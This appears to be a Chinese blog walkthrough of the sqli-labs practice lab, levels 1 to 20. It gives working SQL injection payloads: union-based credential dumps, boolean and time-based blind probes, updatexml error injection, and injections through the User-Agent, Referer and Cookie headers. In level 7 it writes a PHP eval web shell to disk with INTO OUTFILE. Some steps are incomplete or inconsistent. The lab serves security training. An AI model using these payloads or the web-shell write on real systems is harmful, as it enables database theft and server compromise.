详细sqli-labs(1-20)通关讲解

实验:sqli-labs

  • sqli-labs第一关

判断是否存在sql注入

输入数值不同,返回的值也不同

判断sql语句是否是拼接,且是字符型还是数字型

可以根据结果指定是字符型且存在sql注入漏洞。

联合注入

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号。

?id=-1'union select 1,database(),version()--+

第四步: 爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第五步:爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

  • sqli-labs第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

加注释还是提示报错,证明是数字型

1、判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+

2、判断数据显示点 (id一定要改为0或负数),使用 UNION 进行组合查询

?id=-1') union select 1,2,3--+

(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1') union select 1,database(),version()--+

(2)爆表名,使用 group_concat() 函数合并查询结果
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(3)爆 users 表的字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(4)爆用户名、密码,内容
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

  • sqli-labs第三关

当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

1、判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+

2、判断数据显示点 (id一定要改为0或负数),使用 UNION 进行组合查询

?id=-1') union select 1,2,3--+

(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1') union select 1,database(),version()--+

(2)爆表名,使用 group_concat() 函数合并查询结果

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(3)爆 users 表的字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(4)爆用户名、密码,内容
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

  • sqli-labs第四关

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道要闭合什么符号,比如这关闭合是"),这关输入id=1'是不会报错,字段本身是int类型

#找列数

http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+

http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+

#确定哪个字段有回显

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,3 --+

#确定当前数据库

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,database() --+

#爆出当前数据库内的所有表名

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

#爆出当前数据库user表的所有列名

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

#爆出当前数据库user表所有username和password

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

  • sqli-labs第五关

能够知道本关的查询结果不回显

输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'发现语法报错还是存在的,并且从报错可以判断出本关的闭合是单引号

发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。

获取database

爆表名

爆列名

 爆数据

  • sqli-labs第六关

手工注入

 只要把上一关'换成"即可,其他都一样

获取database

爆表名

爆列名

爆数据

  • sqli-labs第七关

闭合直接构造?id=1'就闭合成功,后面看到页面只返回对和错,所以这里要用布尔盲注

手工注入

判断数据库名的长度,等于8的时候正常,等于9报错,说明长度为8

然后爆database第一个字母

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir

    basedir()指定了安装MYSQL的安装路径

datadir()指定了安装MYSQL的数据文件路径

http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"D:\\phpstudy2\\WWW\\sqli-labs-master\\less-7\\hack.php"--+

注意写入的绝对路径要用双反斜杠,不然会写入不成功;

这里显示语法错误,我们不管,用蚁剑连接,成功,如下:

  • sqli-labs第八关

判断注入类型#

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。

判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页无任何返回。

把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注漏洞。

获取数据库信息

首先判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。

得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

经过二分法测试,得出数据库长度为 8。

使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。

爆破得出数据库名的第一个字符为 ‘s’。

最终得出数据库名为 “scurity”,使用同样的方法继续爆破表名、字段名及其剩余信息。

  • sqli-labs第九关

判断注入类型#

首先注入正确的参数,网页返回 “You are in...”,尝试注入其他参数还是但是“You are in...”没有其他信息。

3 种注入仍然还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。

转换思路,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有异常。

注入参数响应时间明显增加,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入漏洞,我们需要使用 sleep() 函数制造时间差进行注入。

获取数据库信息

此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。

经过二分法测试,得出数据库长度为 8。

使用 left() 函数判断数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。

使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

  • sqli-labs第十关

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

以下2种注入都是还是返回 “You are in...”,说明此时网页不会回显任何有价值的信息。

?id=1'--+   ?id=1"--+

调试这里使用 brup 的重发器,注入以下参数响应时间没有异常。

使用双引号闭合时,响应时间明显增加,并且主观上也能感受到延迟,这是基于 时间盲注 的字符型 Sql 注入漏洞。

获取数据库信息

此处因为无法回显任何东西,因此 ORDER BY 子句失效。使用 IF 语句结合 LENGTH() 函数进行诸如,猜测数据库名长度小于 10 时响应时间超过 1 秒。

经过二分法测试,得出数据库长度为 8。

获取数据库名时,使用 LEFT() 函数进行穷举法的效率较低,使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。

使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

使用相同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。

  • sqli-labs第十一关

打开 Less-11页面输入admin  admin

回到Burp Suite 上开启拦截,页面点击submit

将拦截的数据发送到重放器,在密码处添加\转义符,用来转义passwd 字段的闭合符号

可以看到我们转义了一个单引号,我们通过单引号字符注入来构造一个万能密码

uname=admin&passwd=admin'or 1=1 #&submit=Submit

我们可以看出,GET 方式和post 方式 的区别,GET方式 可以明显的 从 URL 中进行注入,POST可以在数据包中进行修改对应的字段来进行 SQL 注入

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

爆数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。

爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。

爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。

接下来爆出 users 表中的用户名和密码,构造出 payload 如下。

  • sqli-labs第十二关

打开 Less-12页面输入admin  admin

回到Burp Suite 上把抓到的数据发送到重放器

和Less-11操作类似,也是在passwd处补上\转义符,点击发送查看转义passwd 字段的闭合符号

可以看到我们转义了一个双引号(还有括号),我们通过双引号和括号注入来构造一个万能密码

uname=admin&passwd=admin")or 1=1 #submit=Submit

爆数据信息同Less-11

  • sqli-labs第十三关

打开 Less-13页面输入admin  123456

回到Burp Suite 上把抓到的数据发送到重放器

点击发送发现报错

在passwd处补上\转义符,点击发送查看转义passwd 字段的闭合符号

可以看到我们转义了一个单引号(还有括号),我们通过单引号和括号注入来构造一个万能密码

uname=admin&passwd=123456’)or 1=1 #submit=Submit

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息判断数据库长度。

经过二分法测试,得出数据库长度为 8。

获取数据库名,使用 left(string,num) 函数返回字符串 string 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名第一位不是 a。

通过爆破得出数据库名,使用同样的方法继续爆破表名、字段名及其剩余信息。

  • sqli-labs第十四关

打开 Less-14页面输入admin  123456

回到Burp Suite 上把抓到的数据发送到重放器

在passwd处补上\转义符,点击发送查看转义passwd 字段的闭合符号

可以看到我们转义了一个双引号,我们通过双引号注入来构造一个万能密码

uname=admin&passwd=123456”or 1=1 #submit=Submit

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息得出数据库长度为 8。

获取数据库名时可以使用 left() 函数,这里使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。

使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

  • sqli-labs第十五关

打开 Less-15页面输入admin  123456

回到Burp Suite 上把抓到的数据发送到重放器

在passwd处补上\转义符,点击发送查看转义passwd 字段的闭合符号,发现没有回显

修改字段进行SQL 注入根据返回的图片来验证是否满足条件

成功返回 flag.jpg 失败返回 slap.jpg

爆数据信息同Less-14

  • sqli-labs第十六关

打开 Less-16页面输入admin  123456

回到Burp Suite 上把抓到的数据发送到重放器

在passwd处补上\转义符,点击发送查看转义passwd 字段的闭合符号,发现没有回显同Less-15

uname=admin")and (length(database())=8)--+&passwd=admin&submit=Submit,登录成功

爆数据信息同Less-14

sqli-labs第十七关

打开 Less-17页面输入admin  123456

回到Burp Suite 上把抓到的数据发送到重放器

在passwd处补上\转义符,点击发送查看转义passwd 字段的闭合符号

使用单引号闭合构造恒真条件

用updatexml()函数,看能否把当前的数据库名爆出来,执行后得到当前所在的数据库为security。

为了更好地理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySql 版本。

获取数据库信息

爆库名,利用 updatexml() 报错回显数据库名。

爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

爆字段名,继续使用 updatexml() 报错注入。

获取目标信息

使用报错注入回显用户名和密码,发现网页回显 “You can't specify target table 'users' for update in FROM clause”。

这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。

通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

sqli-labs第十八关

  1. HTTP User-Agent 注入

打开Less-18截获数据包进行修改,输入用户名和密码截取(注意需要输入admin admin 正确的)

修改 User-Agent 字段 添加一个 ’ 单引号

正常情况是不会有回显信息的,但是源码中为了方便学习,将SQL语句打印了出来

查询数据库版本信息

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

  • sqli-labs第十九关

使用单引号测试是否存在注入

    • 报错注入

Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

1.2 盲注测试

Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1

  • sqli-labs第二十关

Less-20

浏览器访问:http://192.168.37.136/sqli-labs/Less-20/ 输入 username ,password 输入 admin 并提交

在 Cookie:uname=admin 使用 ‘or’1’=1='1 判断注入点,注意这里少一个单引号,为了不影响SQL语句正常执行

Cookie: uname=admin'or'1'='1

使用 updatexml 报错注入获取数据库名称

暴表:

Cookie: uname=admin' union select 1,2,database() -- #

暴字段:

Cookie: uname=admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #

暴数据:

Cookie: uname=admin' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

Cookie: uname=admin' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

  • 21
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值